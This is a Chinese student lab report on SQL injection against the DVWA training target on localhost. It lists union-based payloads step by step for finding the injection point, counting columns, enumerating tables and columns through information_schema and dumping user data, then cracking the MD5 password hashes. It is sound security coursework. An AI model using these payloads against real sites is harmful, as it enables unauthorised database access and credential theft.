1+X 网络安全运营平台与管理 sql注入实验报告
目录
项目化考核 1+X 证书（网络安全运营平台管理）
实验目的：
掌握SQLmap 的使用 SQL注入漏洞利用
1、了解数据库的查询规则
2、熟悉SQL查询语句
3、了解SQL注入的危害性
实验设备 (环境)
环境：phpstudy软件 dvwa靶场 Windows 10 x64
实验要求：
1.判断是否存在注入，注入是字符型还是数字型;
2.猜解当前数据库名;
3.猜解数据库中的表名;
4.猜解表中的字段名;
5.猜解数据
实验原理：
1、数据库基础
2、SQL注入漏洞利用
3、报错注入
4、盲注
5、HTTP文件头注入
6、SQLmap 的使用
实验步骤：
1.访问靶场地址http://127.0.0.1/DVWA-master/security.php，
在dvwa security选项中，可以调整dvwa的难易程度
将安全等级改为low
2.选择SQL Injection，在输入框随意输入数字查看回显
3.判断是否存在SQL注入
- 输入1提交
- 输入1'提交
- 输入1 and 1=1 提交
- 输入1 and 1=2 提交
由上可以看出是存在注入点的，并且是以单引号闭合的，
所以我们猜测sql查询语句是这样的：
Select First name的列名and Surname的列名 from 表名 where id的列名='id'
4.判断列数
- 输入1' order by 2# 提交
- 输入1' order by 3# 提交
由此，我们判断列数为2列
5.UNION注入
1' union select 1,2#
从上图可以看出有2个回显
6.查询当前的数据库及版本
输入 1' union select version(),database()#
7.获取数据库中的表
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#或者
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
8.获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
9.获取字段中的数据
10.这里密码使用了MD5加密，可在https://www.cmd5.com/进行解密
得到密码
实验总结：
本次实验过程中，了解了其原理并掌握了其注入的方法及流程。在寻找可进行注入的URL过程中，尝试着对多个URL进行SQL注入，使用“and 1=1”及“and 1=2”确认网站是否有SQL注入漏洞，确认注入是字符型还是数字型;判断列，然后就行UNION注入，进而猜解当前数据库名，表名;字段名;从而获得数据
